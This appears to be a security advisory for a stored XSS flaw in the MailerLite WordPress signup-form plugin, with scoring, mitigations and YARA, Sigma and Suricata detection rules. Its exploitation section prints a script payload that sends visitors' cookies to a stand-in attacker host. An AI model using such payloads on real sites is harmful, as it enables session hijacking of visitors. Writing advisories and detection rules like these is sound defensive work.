CVE-2025-13993

Executive Summary

CVE-2025-13993 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the MailerLite – Signup forms (official) WordPress plugin, versions up to and including 1.7.16. The vulnerability resides in the form_description and success_message parameters, which are insufficiently sanitized and escaped. An authenticated attacker with administrator-level access can inject arbitrary web scripts that execute whenever a user visits a page containing the malicious form. The CVSS score is 5.5 (Medium), with a low EPSS probability (0.0%). No public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.5 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Requires administrator-level access.
• User Interaction (UI): Required – The victim must visit the injected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for admin privileges reduces the immediate risk. However, once injected, the stored XSS can affect all users visiting the page, potentially leading to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress plugin. The MailerLite plugin allows administrators to create signup forms with customizable fields, including form_description and success_message. These parameters are stored in the WordPress database and rendered on the frontend.

The root cause is insufficient input sanitization and output escaping. The plugin likely uses esc_html() or similar functions inconsistently, or fails to escape the stored values when rendering them in the form's HTML. An attacker with admin access can inject JavaScript payloads into these fields, which are then executed in the browser of any user viewing the form.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to the MailerLite form editor.
3. Injects a malicious script into the form_description or success_message field (e.g., <script>alert('XSS')</script>).
4. Saves the form.
5. Any user visiting a page with the embedded form triggers the script.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to authenticated users with high privileges, but the stored nature of the XSS means it can persist and affect many visitors.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable: Direct output without escaping
echo $form_description;

The patched version should use WordPress escaping functions:

// Patched: Properly escaped output
echo esc_html( $form_description );

Additionally, input sanitization should be applied on save:

// Patched: Sanitize on input
$form_description = sanitize_text_field( $_POST['form_description'] );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress admin credentials.
• MailerLite plugin version <= 1.7.16 installed and active.

Exploitation Steps:

1. Log in to WordPress as an administrator.
2. Navigate to MailerLite > Forms.
3. Edit an existing form or create a new one.
4. In the Form Description or Success Message field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the form.
6. The payload will execute for any visitor viewing the page containing the form.

Proof-of-Concept (No public exploit code available):

<!-- Example payload for form_description -->
<script>alert('XSS')</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for admin-level changes to MailerLite forms.
• Look for suspicious HTML/JavaScript in form fields via database queries.
• Use WAF rules to block common XSS patterns in POST requests to form editing endpoints.

Defense:

• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit plugin code for unescaped outputs.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Host: Modified wp_postmeta or custom plugin tables containing <script> tags in form_description or success_message fields.
• Logs: WordPress audit logs showing form edits by admin users with unusual payloads.
• File: No file-based IOCs expected.

Detection Engineering

YARA Rule

rule CVE_2025_13993_MailerLite_XSS {
    meta:
        description = "Detects stored XSS payloads in MailerLite plugin form fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13993"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $form_field = /form_description|success_message/
    condition:
        $form_field and $xss_payload
}

Sigma Rule

title: MailerLite Stored XSS Detection
id: cve-2025-13993
status: experimental
description: Detects stored XSS payloads in MailerLite plugin form fields
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: "post_updated"
        post_type: "mailerlite_form"
    keywords:
        - "form_description"
        - "success_message"
    payload:
        - "<script"
        - "onerror="
        - "onload="
    condition: selection and payload
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13993 MailerLite Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"form_description"; nocase; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Restrict admin access to only essential personnel.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in form fields.

Long-Term Fix:

• Apply the official patch once released by MailerLite.
• If no patch is forthcoming, consider forking the plugin and adding proper input sanitization and output escaping:
  • Use sanitize_text_field() or wp_kses_post() on input.
  • Use esc_html() or wp_kses() on output.
• Monitor the plugin's GitHub repository for updates.

Workaround:

• Manually edit the plugin files to add escaping (not recommended for production without testing).

Valters IT